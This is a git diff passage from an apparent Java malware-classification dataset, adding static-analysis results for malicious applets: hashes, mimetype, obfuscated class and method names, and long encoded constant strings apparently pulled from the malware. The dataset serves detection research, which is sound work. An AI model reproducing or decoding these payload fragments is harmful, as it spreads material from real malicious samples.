xx\\x7f~-~~zw~~z/~y~~w(~-~~/~~~/\\x7f~\\x7f~~\\x7fyx/x\\x7fyxx\\x7f|(x-x\\x7fx+xy|({}yzy|xwx+xyz|y{xwx-xzx{y|~-~~z{~~zx~\\x7f~~~{yvy/z\\x7fzwyw~\\x7f~~~}x-yzx\\x7f~-~~{z~~{{~-~~/|~~/}~\\x7f~~~{|xxv}*}\\x7f}\\x7f~-~~/z~~{\\x7f~-~~z(~~z/~\\x7f~~\\x7f}x/x\\x7fyxx\\x7f|(x-x\\x7fx+xy|(z{yvx}x{y~yzxwx(x+~-~~/{~~z/~y~~/x~-~~/y~~/v~-~~{v~~{\\x7f~\\x7f~~~-x/x\\x7fyxx\\x7f|(x+x{yz|({{{|z-~-~~zw~~/w~-~~//~~/,~\\x7f~~\\x7fvx/x\\x7fyxx\\x7f|(xwx(|(zxxwx-x{z(y{yzy~y{yz{}yzy|x{x\\x7fx*~y~~/-~-~~/*~~/+~y~~/(~-~~,~~~,\\x7f~-~~,|~~,}~-~~,z~~z/~-~~,{~~,x~\\x7f~~~*y|x{xyy}yxy|}}}||~|*y}|~||~\\x7f~~~\\x7f||~-~~zy~~zv~y~~,y~-~~,v~~,w~y~~,/~-~~,,~~,-~y~~,*~-~~,+~~,(~-~~-~~~-\\x7f~y~~-|~\\x7f~~~\\x7f{-~\\x7f~~~\\x7f|(~y~~-}~-~~-z~~-{~-~~-x~~-y~\\x7f~~~~~y~~-v~-~~-w~~-/~-~~-,~~--~-~~-*~~-+~y~~-(~-~~*~~~{y~-~~*\\x7f~~*|~-~~*}~~*z~-~~{|~~{}~-~~*{~~*x~-~~{~~~{\\x7f~-~~*y~~*v~\\x7f~~\\x7f~x/x\\x7fyxx\\x7f|(y{yzxwx-|({|x\\x7fx+xzx(x*~-~~*w~~*/~-~~/|~~*,~\\x7f~~~+x/x\\x7fyxx\\x7f|+xwx(|+yzx*y~xzxwy|~-~~*-~~{}~-~~{x~~{y~\\x7f~~~z|+x{yvx{~\\x7f~~~yyvx-x}yx{vzvy/~\\x7f~~\\x7f~x/x\\x7fyxx\\x7f|(x-x\\x7fx+xy|(z(x|x/x{x}yz~\\x7f~~|yx/x\\x7fyxx\\x7f|(y}x{x}y{y|xwyzyw|({~y|xwyxxwx-x{xyx{xzz{yvx}x{y~yzxwx(x+z\\x7fx}yzxwx(x+~\\x7f~~\\x7f+x/x\\x7fyxx\\x7f|(y}x{x}y{y|xwyzyw|(z\\x7fx}x}x{y}y}z}x(x+yzy|x(x-x-x{y|~\\x7f~~~-xzx({~y|xwyxxwx-x{xyx{xz~\\x7f~~}*|vz-x/x\\x7fyxx\\x7f|(y}x{x}y{y|xwyzyw|({~y|xwyxxwx-x{xyx{xzz{yvx}x{y~yzxwx(x+z\\x7fx}yzxwx(x+},|wz-x/x\\x7fyxx\\x7f|(x-x\\x7fx+xy|(z(x|x/x{x}yz},~\\x7f~~~xx\\x7fy~y~x{x+xz~\\x7f~~|*|vz-x/x\\x7fyxx\\x7f|(x-x\\x7fx+xy|({}yzy|xwx+xy},|wz-x/x\\x7fyxx\\x7f|(x-x\\x7fx+xy|({}yzy|xwx+xyz|y{xwx-xzx{y|},~\\x7f~~~vyzx({}yzy|xwx+xy~\\x7f~~~(y~y|xwx+yz{}yzx\\x7fx}x,{zy|x\\x7fx}x{~\\x7f~~\\x7f~x/x\\x7fyxx\\x7f|(x-x\\x7fx+xy|({}ywy}yzx{x*~\\x7f~~\\x7f|y}x{yz{}x{x}y{y|xwyzywz*x\\x7fx+x\\x7fxyx{y|~\\x7f~~\\x7f+|vz-x/x\\x7fyxx\\x7f|(x-x\\x7fx+xy|({}x{x}y{y|xwyzywz*x\\x7fx+x\\x7fxyx{y|},|w{x~\\x7f~~\\x7f{|vz-x/x\\x7fyxx\\x7f|(x-x\\x7fx+xy|({}yzy|xwx+xy},|w{x~\\x7f~~~/x(y~x{x+{}yzy|x{x\\x7fx*~\\x7f~~\\x7fy|v|wz-x/x\\x7fyxx\\x7f|(xwx(|(zwx+y~y{yz{}yzy|x{x\\x7fx*},~\\x7f~~\\x7f\\x7fx/x\\x7fyxx\\x7f|(x-x\\x7fx+xy|({|y{x+yzxwx*x{~\\x7f~~~/xyx{yz{|y{x+yzxwx*x{~\\x7f~~\\x7f{|v|wz-x/x\\x7fyxx\\x7f|(x-x\\x7fx+xy|({|y{x+yzxwx*x{},~\\x7f~~\\x7f}x/x\\x7fyxx\\x7f|(xwx(|(zwx+y~y{yz{}yzy|x{x\\x7fx*~\\x7f~~~zy|x{x\\x7fxz~\\x7f~~~y|v{,z|zwzw|wzw~\\x7f~~~{yyy|xwyzx{~\\x7f~~~y|v{,z|zwzw|w{x~\\x7f~~~{x}x-x(y}x{~\\x7f~~~zx{yvx{x}~\\x7f~~|y|vz-x/x\\x7fyxx\\x7f|(x-x\\x7fx+xy|({}yzy|xwx+xy},|wz-x/x\\x7fyxx\\x7f|(x-x\\x7fx+xy|({~y|x(x}x{y}y}},~\\x7f~~~(x/x\\x7fyxx\\x7f|(x-x\\x7fx+xy|(z}x-x\\x7fy}y}~\\x7f~~\\x7f}xyx{yz{~y|x(yzx{x}yzxwx(x+zzx(x*x\\x7fxwx+~\\x7f~~|||v|wz-x/x\\x7fyxx\\x7f|(y}x{x}y{y|xwyzyw|({~y|x(yzx{x}yzxwx(x+zzx(x*x\\x7fxwx+},~\\x7f~~\\x7f+x/x\\x7fyxx\\x7f|(y}x{x}y{y|xwyzyw|({~y|x(yzx{x}yzxwx(x+zzx(x*x\\x7fxwx+~\\x7f~~~*xyx{yzz}x(xzx{{}x(y{y|x}x{~\\x7f~~\\x7f-|v|wz-x/x\\x7fyxx\\x7f|(y}x{x}y{y|xwyzyw|(z}x(xzx{{}x(y{y|x}x{},~\\x7f~~\\x7fvx/x\\x7fyxx\\x7f|(y}x{x}y{y|xwyzyw|(z}x(xzx{{}x(y{y|x}x{~\\x7f~~~,xyx{yzz-x(x}x\\x7fyzxwx(x+~\\x7f~~\\x7f~|v|wz-x/x\\x7fyxx\\x7f|(x+x{yz|({{{|z-},~\\x7f~~~{yzx({{{|zw~\\x7f~~\\x7f~|v|wz-x/x\\x7fyxx\\x7f|(x+x{yz|({{{|zw},~\\x7f~~~-x/x\\x7fyxx\\x7f|(x+x{yz|({{{|zw~\\x7f~~\\x7f~x/x\\x7fyxx\\x7f|(x-x\\x7fx+xy|({}yzy|xwx+xy~\\x7f~~~yy|x{y~x-x\\x7fx}x{~\\x7f~~zz|vz-x/x\\x7fyxx\\x7f|(x-x\\x7fx+xy|(z}xvx\\x7fy|{}x{y\\x7fy{x{x+x}x{},z-x/x\\x7fyxx\\x7f|(x-x\\x7fx+xy|(z}xvx\\x7fy|{}x{y\\x7fy{x{x+x}x{},|wz-x/x\\x7fyxx\\x7f|(x-x\\x7fx+xy|({}yzy|xwx+xy},~\\x7f~~~{y}y~x-xwyz~\\x7f~~|y|vz-x/x\\x7fyxx\\x7f|(x-x\\x7fx+xy|({}yzy|xwx+xy},|w{,z-x/x\\x7fyxx\\x7f|(x-x\\x7fx+xy|({}yzy|xwx+xy},~\\x7f~~\\x7f,x/x\\x7fyxx\\x7f|(y}x{x}y{y|xwyzyw|(z*x{y}y}x\\x7fxyx{zzxwxyx{y}yz~\\x7f~~~,xyx{yzzwx+y}yzx\\x7fx+x}x{~\\x7f~~}\\x7f|vz-x/x\\x7fyxx\\x7f|(x-x\\x7fx+xy|({}yzy|xwx+xy},|wz-x/x\\x7fyxx\\x7f|(y}x{x}y{y|xwyzyw|(z*x{y}y}x\\x7fxyx{zzxwxyx{y}yz},~\\x7f~~~vxyx{yzz|ywyzx{y}~\\x7f~~~z|v|w{,z|~\\x7f~~~xxzxwxyx{y}yz~\\x7f~~~x|v{,z||w{,z|~\\x7f~~\\x7f\\x7fx/x\\x7fyxx\\x7f|(x-x\\x7fx+xy|(zwx+yzx{xyx{y|~\\x7f~~~,yzx(zvx{yv{}yzy|xwx+xy~\\x7f~~~wy}y{x|y}yzy|xwx+xy~\\x7f~~\\x7fx|vzwzw|wz-x/x\\x7fyxx\\x7f|(x-x\\x7fx+xy|({}yzy|xwx+xy},~\\x7f~~~xx-x{x+xyyzxv~\\x7f~~~}|v|wzw~\\x7f~~~xx{y\\x7fy{x\\x7fx-y}~\\x7f~~\\x7f{|vz-x/x\\x7fyxx\\x7f|(x-x\\x7fx+xy|(z(x|x/x{x}yz},|w{/~\\x7f~~~yxwx+xzx{yvz(xx~\\x7f~~\\x7f{|vz-x/x\\x7fyxx\\x7f|(x-x\\x7fx+xy|({}yzy|xwx+xy},|wzw~\\x7f~~~yx+x{yvyzzwx+yz~\\x7f~~~z|vzw|wzw~\\x7f~~\\x7f-|vz}|wz-x/x\\x7fyxx\\x7f|(x-x\\x7fx+xy|({}yzy|xwx+xyz|y{xwx-xzx{y|},~\\x7f~~~,xyx{yz{~y|x(y~x{y|yzyw~~|\\x7f~~}-~~}*~~~\\x7f~~}+~~~{~~~~~~}(~~z~~~~~~~~~~~z\\x7f~~z|~~~~~~~~~~z}~~zz~~~~~~~w~~z{~~zx~~~~~~~w~~zy~~zv~~~~~~~w~~~\\x7f~~zw~~z/~~~\\x7f~~z,~~~~~~yx~~~{~~~|~~~~~~}/|/,y~~~\\x7f|/,v~~~|{y|/{y,,~~~}{w,y~~~z|/|/{y,|~~~{\\x7f|~x\\x7f|~y,x~~~v,x~~~w\\x7f|~/,x~~~w,x~~~,,}~~~{|/,x~~~-/y~~~vz-|,,x~~~+,\\x7f~~~\\x7f~~~z~~}\\x7f~~}z~~~*~~~\\x7f~~z-~~~~~~||~~~v~~~~~~\\x7fz~~~z~~\\x7fx~~~w~~\\x7fy~~|*~~\\x7fv~~}\\x7f~~\\x7f,~~}z~~\\x7fw~~}{~~\\x7f/~~}w~~\\x7f-~~~\\x7f~~z*~~z+~~~\\x7f~~z,~~~~~~||~~~\\x7f~~~\\x7f~~~~~~~x~\\x7f,v~~~(~\\x7f,~~~~~~~~\\x7f~~z-~~~~~~~/~~~|~~~~~~\\x7f(~~~z~~|~~~~~~~z(~~z/~~~\\x7f~~z,~~~~~~(~~~~z~~~w~~~~~~vv,v~~\\x7f~z*,,~~\\x7f\\x7f{w|/{y,|~~~{,y~~\\x7f|z+|*,x~~\\x7f}}/~z,,~~\\x7fz{w|-,y~~\\x7f{}/~{,v~~\\x7fx}/~x\\x7f\\x7f~z~~,-~v}/~y\\x7fw~z\\x7fw~y~}\\x7f\\x7f~z~~,x~~\\x7fy{w}-~|w(~~~(\\x7fw~{\\x7fw~y~}\\x7f,,x~~\\x7fv/y((+x\\x7fw~{,x~~\\x7fw\\x7fw~z,x~~\\x7f/\\x7fw~x|-,x~~\\x7f,{y/y~~~{}/~v\\x7fw~x,,~~~}{w,y~~~z\\x7f|\\x7f-,x~~~w|-,x~~~w\\x7f|\\x7f*,x~~~w,x~~~,,x~~\\x7f,{y/y~~~{}/~v/y~~~zz-,\\x7f~~~}~~{z~~{,~~{+~~~*~~x~~~y+~~v\\x7f~~~*~~~~~~v}~~vx~~~*~~~\\x7f~~z-~~~~~~}+~~~(~~~~~~|x~~~z~~|y~~\\x7f\\x7f~~|v~~\\x7fy~~|w~~|\\x7f~~|/~~|x~~|,~~|*~~|-~~z/~~|*~~z(~~|+~~{z~~}~~~{,~~}\\x7f~~x~~~}}~~y+~~}z~~v}~~}{~~vy~~}y~~~\\x7f~~{~~~{\\x7f~~~\\x7f~~z,~~~~~~{+~~~}~~~}~~~~~~|+|/{y,|~~\\x7f+,x~~\\x7f(,x~~|~,x~~|\\x7f,x~~||,x~~|}z-|,\\x7f||z\\x7f||{,x~~|x\\x7f||{,x~~|yz*|-|-,+~zxz}|,~z-\\x7f||v,~~~~\\x7f~~~~~~|w~~|/~~~*~~~\\x7f~~z-~~~~~~\\x7fx~~~{~~~~~~}-~~\\x7f{~~}*~~|}~~}+~~|/~~}(~~|,~~z~~~~\\x7f~~{|~~{}~~~\\x7f~~z,~~~~~~v-~~~z~~~x~~~~~~z-\\x7f||w,v~~|/z*|-|,,x~~|,,x~~|-z+,,~~~}{w,y~~~z}/~z~}}x~{\\x7f{~{|*,+/|~~|}\\x7fw~z|*\\x7f{~{}}\\x7f\\x7f~~((y+\\x7f\\x7f~\\x7f~~v~,v~~|*~z~x,x~~|+,x~~~w{yvz~{~\\x7f/y((*-\\x7fw~z,x~~~,,~z*\\x7f||v,~~~~\\x7f~~~~~~zy~~zv~~~*~~~\\x7f~~z-~~~~~~|x~~~w~~~~~~zv~~~x~~z/~~~(~~z,~~\\x7fv~~z-~~||~~z*~~}-~~z-~~z|~~z(~~zv~~{~~~zw~~{\\x7f~~~\\x7f~~{z~~{{~~~\\x7f~~z,~~~~~~w~~~~z~~~x~~~~~~xz|-,x~~|(~x/\\x7f~~~,|*,x~~|(~x/|~~~x\\x7f||v,~|,|,,x~~|(~vxz|,,x~~|(,x~~|+}/~z|,~}|,,x~~|(~vxz,x~~|+}/~{|/,,~~~}{w,y~~~z\\x7fw~{,x~~~w|-,x~~~w,x~~~,,x~~}~~}~v,x~~|+\\x7fw~z,x~~}\\x7fw/~~~+|/,x~~}||*,x~~}}w,~~~{|,,~\\x7f||v,~~~~~~~~\\x7f~~z-~~~~~~\\x7f/~~~x~~~~~~{{~~\\x7f}~~{x~~|}~~{y~~}~~~{v~~{(~~{w~~x\\x7f~~{/~~~w~~{x~~{y~~~\\x7f~~z,~~~~~~x|~~~z~~~z~~~~~~}x\\x7f||vz-,,~~}z{w,y~~}{z*~}}+\\x7f*\\x7f//|~~|{,,~~~}{w,y~~~z|,,x~~~w\\x7f~x\\x7f|-\\x7f~\\x7fw,x~~}xx~w|,x~~}y,x~~~,z-vz~}~\\x7f/y((*-|,,~~~~~~~~\\x7f~~z-~~~~~~\\x7f/~~~x~~~~~~{(~~~}~~x~~~~,~~x\\x7f~~\\x7f|~~x|~~|+~~x\\x7f~~}z~~x}~~~w~~{v~~{\\x7f~~~\\x7f~~z,~~~~~~}v~~~|~~~~~~~~~~|~,,~~~}{w,y~~~z\\x7f|}v,v~~}w,x~~~w\\x7f~\\x7f},v~~}/,x~~~w\\x7f|},,x~~~w,x~~~,,~~~~~~~~\\x7f~~z-~~~~~~~x~~~\\x7f~~~~~~xy~~~v~~{w~~z/~~~\\x7f~~z,~~~~~~|{~~~\\x7f~~~~~~~~~~~w~\\x7f,}~~~{~\\x7f,}~~\\x7f+,\\x7f~~~~~~~\\x7f~~z-~~~~~~~/~~~|~~~~~~\\x7f\\x7f~~~z~~\\x7f|~~~\\x7f~~{/~~~~~~~|~~{,"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "9a8a0d2ae1fce6bbc9a544f439e832d5bf5053b7", "file_name": "java_malicious/907959f9edb8c4b9ae6855c44e4a064e412e3320fb91ba2354f8f1e9bf546b86", "_id": "522111e9-4aa7-4410-9e23-89d0d9e227b1", "score": 0, "entropy": 5.238166836496481, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 11650, "ssdeep": "192:Q2GlqEEq2g4NxzUNDXP5beiibABgY5C9EKUjcbQEJUh6bVxTP2g4ZApOHP5+KZTq:zGwNxzEDXP5beiib6gY5YEKUjcbQEJUQ", "sha256": "907959f9edb8c4b9ae6855c44e4a064e412e3320fb91ba2354f8f1e9bf546b86", "md5": "ee2677c4992585da3a686c6a1ec2769d", "parent_sha256": "907959f9edb8c4b9ae6855c44e4a064e412e3320fb91ba2354f8f1e9bf546b86"}} \ No newline at end of file diff --git a/java_classification/data/malicious/90cc2cb396f2c44845502135008b74e3898ba8dc401ed01277322ce0e9dd09e7.results b/java_classification/data/malicious/90cc2cb396f2c44845502135008b74e3898ba8dc401ed01277322ce0e9dd09e7.results new file mode 100755 index 0000000..13362a0 --- /dev/null +++ b/java_classification/data/malicious/90cc2cb396f2c44845502135008b74e3898ba8dc401ed01277322ce0e9dd09e7.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"class_name": "DdckdOppxFuew", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 49, "method_names": ["", "init", "TaohqsIwzuoRrjyk", "main", "WpoqexWgghuIczzn", "LudkQzqatjv", "QtoqYflp", "NijycJwdinCxzn", "BiqrPxwfvYwagn", "RkafzyjNscj", "AihihZcudg", "VzjeMzctojhDzsri", "NwtrhJwlylwRfqun", ""], "minor_version": 0, "const_pool_count": 311}}, "_id": "9fedba1c-1e9c-4815-a7b7-19d6e1b0f0f4", "verbose": {"java": {"constant strings": ["", "TJaCTZW3LmI", "8NUhHMO", "fu2j9n", "\\\\27+Hz3c7xV02Q0mjq0u,,w3v/X81%Hp2sxCU1zhV0EjX_0CiM!1k/1ERMI2,UQ0S&%1VUW1P4A1KBn1ZxD1ddS*2o3M0IGpp1_QLp1+eS1gg&h1p6L3i-jQ1dHEF1#+Z2qqBz0BB1il0HKWP1JP1troZ2kgmV0BQqV2eIWb1,4)0YNQV1Fak220YU1wg1.tJ1nl!2lDlx1%H1BHA1qbp2mCd3yY\\\\X1TXH1,C&h2.4tS1Wm1cy=j0OAI0Q@hs11PZ(1#mbE19E2R+V0zL2Ubls1hwL1hh+/308lg1&x1TrK1Nl1L604ht1HkCA0n=K1CTPM12C1Mx/m0N,17c3x++02=1tV1ruf01raE1cYv08-X)1.iR1EYQ0HDFO1)KQN2twvc3I82q0/@1xMpa0+qT2b)bf1%vt0hQv1!0G\\\\1YnX17v0+Dw1V73CfMe1=Cr1Ycu0o!Ek20Yls2X1UE1aVj23EE=0Tmw+28.bK0YAc1Fl02Z\\\\!1HUfI1O2b16d0L^i,29CX2W9z1@B*1-Do1%/\\\\2eDO,13r0N)^1/X/U00@kr2FgGg2Ote16m1Xy1jZL^1%VH1Tzc@1e8uH1%vfW1giQG1uYa3QSRB2@2gp0fZIE00(0HWjP0OgLZ3(7nA1&W(m1M6he2otF2)+lw1_M0f,o1begN14wLQ1f8%b22oTT1Gh2I(Y%2eHrb2vC40VOg1\\\\Mtl1jPVY2i%+0jf/0ZZ0aH^0pD2ppl2ODI0Li2RIu0/Toa1rEr\\\\0v%R)3Rejv2x)C\\\\1nBhh2g150hL(X3jq!L2pww2Ecdw1#Rm1Et3vX#g1/2o1jA_0po2QSb1uDS36pJx0YA=07r2mmS(05!WD1%umK1*4j#1YHn2trRE16rUu1=41LQeR0X^0ys,2ffqz1xsmm2*yV2G0W0u#a1iRE(2ovh1Ag@v3Yqa43Gy%e2u*9N1Ju1OKU0C%%0d%#d2&ZD-197Z2HtJQ1bDca2@JXP1TyOy0xjq1pGGI2IBj2U.ds1Ccj3yFON1flT1+e2xn0i17O(0xlU12E1hhg1qXHq22Rek14tW2F*Z1_L=g0Kt31hfE253tG29Ce,100A1GQux0Dsh2Lql)0US*e0WkBN1K/O1RP0dV+0UZ23zG,18pc3/Ave1-H14TIZ2vWFs270d0z%vw1#31pGl0v=0d&H*2-XuE0qnc-1!yS0ElY0CZ2d&Mw1qHk19cT1d0xs2ISDU1@8+2LIoX2Fw+_1hfN2mgO1K9Is102Dp1pxAg1=Qn2OmKo1-6.W1+OJ1_XRK1(h+0X+2Ba6j1%7H1A0p\\\\1cGJC1=wIO16ba1Xd1ZdVv2fDPX15/1,z#2!t2u3LP*T27,O1LY=1kXPI2N*WF20Gb1zZH1Umj0RLKp1(LzI1bj,A0Vz0tV.!2h\\\\y%1ZrC+1pA1VbC1TO.0R.0xD)V0iEj08W+E28KuJ1wO@10y15t.0Q,0mR0PWy1Eyr1tRU&2Ua9n2kiS2e1l2HsA1R9+06MGn2L+Dq20P1M2yCHh0lao2Ld0#1,Z13/(3B+ap2RFZo3S/Zt1%w1NKAd2^_Fu09lNd2)iDb29++X0Kth2b83k1mSy0fb155jb2M591kE-=1t2gp26mPY1.qCA0YXF1l9)Z2V)sT0pFUT2-dH*1MIMn0Hv2_9t1\\\\T2#Bds1ahDh2efu1@Yxb1u/D\\\\0f!N1E3w_2q^l-3emd73cAtU0Yda2cOlE0jAJ1CBMd2ajHu2EmU&1f0i30\\\\Zi0ka1fcj1rFDk0W)mr2#GI1uT2lsG106z1Jq2x!W!03UUt0kU!X3!Giz12a,N0y=rG0Izu0j(%1kL/A2b&Lo0qBcj2%OgN2W@7Q0mWl0FY1akZ1&t0cz)v0rri0bwxq2.Bsz08.U10lRw0lc1M4Kv1ZF^1ohX2&um2(G019W2TiML2it7B1aUJ1)fw1iiK1!FT#2.(Nf11B,o2M_O/1J/0y_28LuF1(TG.1+4RR1L2k339#Z2+BVc0VI\\\\_1#h1_OcW1sO^37aze1ydnK0iLg1uL1\\\\Iis1he2A610Z!B%0luXW0daq2E&Ne1YS/X1)yZ3ZLut0ta0eEjM1sf+s1dH(f0pd1*IKL2m=Vj21&m*1C1RQ11nA00(1CkB2)1uA1nkRV0OO1MGCI1^v1^Xx1Y6z2ljw00fk0K#hB0S^J*1VYI\\\\1%vnw1k8-P2ZY4^2-yZ.3!x,x2I_B1yr_1vAGG0eV\\\\Y1O5g3J*)42fxT+3%m=L1wVl3xC%h1EfmW0SH0s*3Tdtf0+V3KQKj3Jkdk0gV0I(21wM1k5q38s0u0z!/A1)TxP0Pa1sqp1EE0SwNK1\\\\P1*kkr1z9f2N/Q1SbC2y38(1rZb1^Agn0oV2=ERi132ek2)vfZ1Wmd28acr1I8R0En1emt2awn0ZM^r1O0Bf2=vaV1cx2h0c0+E1(gKB11y1piW1c+wW13Os1Aakz1/zg1MJP1uk1Ke&o1Yc3xLYI2W(H#2RRSX2#.8+0Mj1yc@v0J\\\\=s17TM14duE1Xo!o2i2Es1unn00RL0KH3P,FW0W\\\\1gMs1S91@aX1(N3+Q722RGXU0zJ0wOL0Cnz38Tej2z-+1m1K2KMn1kh#161*16KMv2j@4Q1,xiI0kq1Fce_2cpV0nhA!26XEt3aPuh1Gw@0Xa2k6Ix0sFy1RR@%3(IeR2&16e1pzLI2xiM0GKO0+,1NjzE2=H5(2uhxb24KDf2H7pv13c)1.jrC2BEZk0VDEj1lF%1Vj=13r/0Z_2()RC2*+Lc1azW/3kYvj30-Po0FMTz0ZL3QwXK2%RNW0GV)1Ot=q0pcUD00W)2DfP1Ah1hJgc26E/1=r1i7u0g/G\\\\1\\\\vB3ggMD1bW2)uEL2sBE1UX3Y)_V1Sb&r1qZuN1dfD1=FkO1)Xm2=rHv0ug1%KY2KTsr1^hw\\\\2+Ok=1#o-2^qOS3*c4H1xqb*1O0^z3fvwQ265Y0K=^n1fv1)DRS1!tW!2tim1.O\\\\0Rk.1=sVo1@f#I2d_Y0Me1Kl2tVN/18n35Ssf2LMBX3laoP1rYHl1#I#x1#81@5l0w@v1,j2!nvJ18cGm0QgP1401xMT1,l@2jXp+1v8,X2b^tC3@eCF0B.p21xv_2+ZM1TIK,1WSnB1E2l0Q=Jz1bMm1Pon2eWQf1voe1&F=x1_/2o/Fg1svq1/lM&3RISt2.Mh2041R1Dn0tmB3kqiH1Xkrr0o*P2/n32Dwe@14sXC1FPbx2M70x1bzn0v#2yO+h1HD169N1wM!E0ro=2!GU06s06e3GDkX1rd^2Ay9j2tyB1t0ix0w(Q0qf2h(L=1PTeJ3LxlT1Ehc_04b=P3lP.O3*bw9133)1\\\\Fq0EG.1dpc1+mU2HFL/1.GvY1urZ1hd0Nqq.1JD.2Zbo3J\\\\940R\\\\=i1\\\\M=1O6MP0W*Ca1bWir2fu1.1FRF2t5sa1KJmE1JrIr0BoU13/k,13528!+U1SqYv0XQM1Xm+s1T/z1!7^14TNn1T4=0DMj0tA1+Xe3HQMw1jyur1wCNL0oXe@162AI0Ol28k5l0cwcs0DS11o1GNe2REl1Ed2EKG0zHnd0zI2W#bL2EZm,0liv\\\\1MWq2@0329Ud1pCG#1lZo0Vs1+t0dhM0CX^1mGRp0w(0gaH0rivb2DAaD1%xWY3%*bF1vmO1FVTT1nES1zxgF2Kre20B2!3nPZC2pAmt15WD2YsW2C^Gu2RM/w0Og37MQ12&%jq1r+at3Qx!10oXz0m_-1cCr1_oLB2&cVP2vcj-1pS.3XrFz27p0k1m12z#lv2D)A0Jag(1eks15ecW3Xbeu2\\\\X018qI0nL&1Q/31Ac/2wmZT1K+Qs2LfCL2L%i/2+Bz/0r,-A1\\\\N+1/aQT0y%.B0op0ZU0rL_^0b%G^2V@iW0UMfG12B0GGZ1zpRU1OwS1Gwt3EQsL1e8m2.Q2a0Vhf1Ilz\\\\1Nw^12rZ0edcY3*d%F00-1kXG3-0%22/6YR1MX,1eF*V0aEnZ1Wp-G1\\\\1v3etO60se^2)QNm0n)14R+H0UaI^0av3hPnz2CEE1!tC\\\\0hD0J@C1U7MR1eTju0VHb3.7_b0UeKz2+)p2-c+e0Zwf17ZO1ZEu1oG1x/ER33KwT1Pog1pd=1kse,2cA7a12pB2HJ7V1i6kw1N7(Z2^@GR0+=(3T#9/05(u%3^Ahe11e/)2sqOE06O)y0luWl2UqA0Rj0+jnC0/BF0ms!1rZs!1x9.D0Rkd0Jhu&1gp10LW1#v0pIBd3^mgc2uYc0rh2MuH!1Gdz)18d05*P19t00gpu09\\\\0sg3yfj22p&2S3UCXl0Dv1\\\\c1kNEy1-u^2nNg02Kcf3e=5i1DL2i4su2K1wa3NumR1zQ%C1mzu-2.Xyq3ha2j0Cm0d=0CH21#C0wy=+0O&G0sbxn12f1FZ2K_pi0zHs#3np&f1bWR*1TiKi1gf+2_D22q)P1gXQ1&93M^WS1&PX3,iOl0Qyx0iXvV0b.2f&90NuS04urv0Un&3GSmx2UL6D1Onk24n1t1441vP0Opfa1KW2xZ+3k7ki1ARh29eOQ0Or1yeHi0q,c27SA3KT/c2BvVf2jJh2igl+1Bs1oA#m0Rj1fB1Uv0iT2BSzM0x%2^2Y1(HqR1dM#2,GxP0xVa2HyZP1SCEX2TKCk3)q2n0Wn1!FGT0utr1VrrB05Gak2!fRq1MV1mo1zvlS2@vzN0agx1ueh1ckk#1O5=V1+k1jj-2kdb2kcCI0sr@P2uElv10j1dZk16x@s1IUC0Iij)1n6g1db0VE16I2ZVYI0t-2F+O+0xdz1BG2o7z.1CKD1_AMV0DY1E10p*0Uck0SsS@0dzNZ1gkMP09kR2q\\\\n=1-F^1b1_07K^P2hX9a2s0K+2NsyU2Tha1TgN0IFT1IQ%0HPfE1x5@G1UlG1q6yb0OsUA0hT^2x_600QJz1o2iU2eNTx3JB!91!b\\\\x3abia0FUZ1_YW1xyQ09c3Y16f2WyLs2kaQ=2dOf^1w5S!3952f1.6xp3THae13hXd11MQd1z/W1RyX1Ty3Hql51^n\\\\m1lc.2Pf92I(v1PVv2H+y3@\\\\iG0Et(z0M&w1CAs2V.E1VZm0tFVx1f3yt2Zfq02)E0Ac1LB_P1_GR#0u)1*GlT1=g2RQsE0lV1uaa^1+Rx1oe1ei1JSR1jWP2j(RD1bg\\\\2dqtb2JeQc2yA5i1(wKy0VTM1R3aE2_oD13m!t0CE2%!Gd1NXqj1-Gm&3R1dV20bo\\\\1!7^R2NjW0k-+2iMPk0TYEj20M4s2yruq1/ZD1mF\\\\s1gF+Y2uX62=dcr2Vkw0fAuP1VdQ2RPUL09Gi0WFi1YLxa0It1tf1+Q(i0UE1VYBg16mFs0Z/#3N17M2Vf5&1%t1+I&J0pK2TspF2z09b2tit2-=l2F9JW1KAuc1s3(!2.%+C1iPC0Og2UoS07oNP1ceG2\\\\jFi14pg36qfq3fjeZ31Aw41,+2P8zl39Zk614h0G_20ij0O^&0y&tM07Fw1Tyk1/uYi0xw1ky12q/b2jiNs0uuq2Y(I2z\\\\Iu0D#U0sh1rHe0lK(b2pRv0N+2!PY1Fu1iCzq2IEQ=28vE2ATLY2q!v1Ie0za1bjv1YWW,10GF3@o^m2ERbP2v^o\\\\1e3A1%LN^0M@d2n(zk0mQ1XyFR3/v7B2boh0LO0ePwt2ZMG1a4qF01ZT1UU!(0nh2mzz\\\\2Ref0//kC1di=1t8^2GIQQ1nhe-1saSp06\\\\W1/abT0iOvX2PULp1rRr3qU4r0kkN0Ckb1+5!27YF3,IAU1nx/08/n2!WJe16vbw1n0Oa0Mw3pG6S2j4Rj3H#+r3TyVG0J.2l\\\\wN11Sj0Tp,1gT1b0M18sg0cG1K/R0Sx,I1An1gzZ.2dDLE1)w@0Q@1EO2X6Aa0viS+14j+1#Y)T2B8Gw143ms1pTw2G3rb1YFG0wB1^Ak1kHf1Su1-pS1-nC1JD0hwd3!R=T1pE&3XUgp1C3k1\\\\/12l\\\\1Rc0ps/k1bl20kS1(HtS0eU2vvq0siIC2CUd1-OUO0L#Ba07J&K1kzFc0FkyM2%9k%3=(W/0MO%+2+^/%1_1dJ0T%y0ka\\\\v1y2Yp1w2T2Qifb0IN18hbX0wK_H0TG20lbA1z9GK1bV=2GInX1(A1xb#0B=c^1%PPE0cw1Pl2K@8,0FUj(09H2Tg1)1yNx3_I671OSv0a^&y0ZBl1#w2y,JL2fMb0rB.1j7^L01,,%2g%6k3Rlpg1#Ya#04/e20rGc2q@Hu1bRh1AB@^0AX0QCg1A91t/T1#A08Q&j1/kO0JP/x1Fq2IASJ0Jg2)Www1q0w1iD2z)x^3qZ7/2)&b(3\\\\d-21FK0sjv1*8yY2Jlj1Auo^2taK1YsL1w2AM2#ia+1z/3D5Xq1YI_q2PVJs2+qd2r\\\\W0bm1Bl@2w)8#1u/O.09V16xF3x!O70vXX0ZcHy07X-z0MXf,2U550tB3z!Lq1mjKT1fFM2pvv0oneP2,_n=36,6i2Iik2u7M0HZ0txzf2CVXz1tRW07WK01!2Pgy3eB4F1-3g1XeiS1=M&1BdPg0Gz=0UI12Q/0oyar0o)i1F8H,3I3Le1w9V0ueLb1dPv1FplV1+RV2hoV!1#9j0UIi%37Xnl0oN.#1HTw3Bm_V1rQ2SZf%0bU^